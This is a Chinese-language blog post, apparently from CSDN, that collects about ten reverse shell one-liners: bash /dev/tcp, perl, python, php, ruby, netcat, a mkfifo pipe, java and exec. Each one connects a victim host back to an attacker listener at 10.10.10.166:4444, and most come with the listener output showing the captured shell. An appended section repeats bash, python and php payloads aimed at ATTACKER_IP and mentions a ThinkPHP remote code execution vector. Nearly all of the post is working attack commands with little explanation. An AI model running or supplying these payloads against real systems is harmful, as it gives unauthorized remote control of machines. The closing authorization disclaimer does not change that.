10种反弹shell方式

参考链接1:http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
参考链接2:https://bernardodamele.blogspot.com/2011/09/reverse-shells-one-liners.html

10种反弹shell方式


2019年3月30日【原创】

bash
perl
python
python
ruby
nc
java
xterm
exec
从原生的 shell 环境切换到 linux 的交互式 bash 环境

1. bash

bash -i >& /dev/tcp/10.10.10.166/44440>&1

# 返回的执行命令所在的用户 shell 环境
root@kali:~# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.10.166] from (UNKNOWN) [10.10.10.50] 39744
kevin@ubuntu:~$

2. perl

第一种方式:

perl -e 'use Socket;$i="10.10.10.166";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# 返回的是原始shell
root@kali:~# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.10.166] from (UNKNOWN) [10.10.10.50] 39740
$

# 切换到交互式环境使用:python -c 'import pty; pty.spawn("/bin/bash")'
root@kali:~# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.10.166] from (UNKNOWN) [10.10.10.50] 39840
$ python -c 'import pty; pty.spawn("/bin/bash")' 
kevin@ubuntu:~$ 

第二种方式(linux):

kevin@ubuntu:/root$ perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.10.166:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

第三种方式(windwos):

kevin@ubuntu:/root$ perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

3. python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.166",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

# 返回的是原始shell
root@kali:~# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.10.166] from (UNKNOWN) [10.10.10.50] 39740
$ 

4. php

php -r '$sock=fsockopen("10.10.10.166",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# 返回的是原始shell
root@kali:~# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.10.166] from (UNKNOWN) [10.10.10.50] 39740
$ 

5. ruby

第一种方式:

ruby -rsocket -e'f=TCPSocket.open("10.10.10.166",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)
# 一次性连接,连上就断,换上 msd 监听也是这样

第二种方式(linux):

kevin@ubuntu:~$ ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.10.10.166","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

第三种方式(windows)

ruby -rsocket -e 'c=TCPSocket.new("10.10.10.166","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

6. nc

nc -e /bin/bash 10.10.10.166 4444

# 返回的是原始shell
root@kali:~# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.10.166] from (UNKNOWN) [10.10.10.50] 39740
$ 

如果以上报错,则使用下面的方式:

# 运行报错:
kevin@ubuntu:~$ nc -e /bin/bash 10.10.10.166 4444
nc: invalid option -- 'e'
This is nc from the netcat-openbsd package. An alternative nc is available
in the netcat-traditional package.

# 方式二:
kevin@ubuntu:~$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.166 4444 >/tmp/f
rm: cannot remove '/tmp/f': No such file or directory

# 返回的是原始shell
root@kali:~# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.10.166] from (UNKNOWN) [10.10.10.50] 39740
$ 

7. java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.10.166/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
# 未验证

8. xterm

kevin@ubuntu:~$ xterm -display 10.10.10.166:4444
xterm: Xt error: Can't open display: 10.10.10.166:4444
# 报错,无法使用

9. exec

kevin@ubuntu:~$ exec 5<>/dev/tcp/10.10.10.166/4444
kevin@ubuntu:~$ cat <&5 | while read line; do $line 2>&5 >&5; done

# 返回的是原始shell
root@kali:~# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.10.166] from (UNKNOWN) [10.10.10.50] 39740
$ 

第二种方式:

kevin@ubuntu:~$ 0<&196;exec 196<>/dev/tcp/10.10.10.166/4444; sh <&196>&196 2>&196

# 返回的是原始shell
root@kali:~# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.10.166] from (UNKNOWN) [10.10.10.50] 39740
$ 

10. 从原生的 shell 环境切换到 linux 的交互式 bash 环境

root@kali:~# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.10.166] from (UNKNOWN) [10.10.10.50] 39840
$ $ $ 
$ python -c 'import pty; pty.spawn("/bin/bash")'
kevin@ubuntu:~$ 
### 实现反弹Shell的常见写法 在Linux环境中,通过编程实现反弹Shell方式有多种,以下是几种常见的技术及其对应的代码示例。 #### Bash 脚本实现 Bash 是 Linux 中最常用的脚本语言之一,可以通过简单的命令快速建立连接并启动交互式 Shell。 ```bash bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1 [^1] ``` 此代码片段利用 `/dev/tcp` 提供的基础网络功能来创建一个 TCP 连接至攻击者的 IP 和端口,并将标准输入、输出和错误重定向到该连接上。 #### Python 编程实现 Python 的灵活性使其成为一种强大的工具,在许多情况下可以用来构建更复杂的反弹 Shell 功能。 ```python import socket, subprocess, os s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("ATTACKER_IP", PORT)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) subprocess.call(["/bin/sh", "-i"]) [^1] ``` 上述代码首先建立了与指定目标地址(即攻击者机器)的一个套接字连接。接着使用 `os.dup2()` 方法复制文件描述符以确保所有的 I/O 都被导向这个新打开的 Socket 上,最后调用子进程执行交互式的 shell 命令。 #### PHP Web 应用中的反弹Shell 对于存在漏洞的应用程序来说,也可以借助于服务端脚本来完成同样的目的。例如 ThinkPHP 框架可能存在某些版本下的远程代码执行漏洞[^3]: 假设已经获取到了能够控制 `$templateFile` 参数的能力,则可通过如下方式触发反弹行为: ```php <?php $sock=fsockopen("ATTACKER_IP",PORT); $pipes=array($sock,$sock,$sock); proc_open('/bin/bash',$pipes,$procs); ?> ``` 这里我们手动打开了一个新的持久化管道给外部主机上的 bash session 使用 fsockopen 函数发起请求之后再配合 proc_open 来保持会话状态直到结束为止。 --- ### 注意事项 尽管这些方法展示了如何从受害设备向另一台计算机发送反向链接的技术细节,但在实际操作过程中应当严格遵守法律法规以及道德准则,仅限授权范围内的安全评估活动才可实施此类行动。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值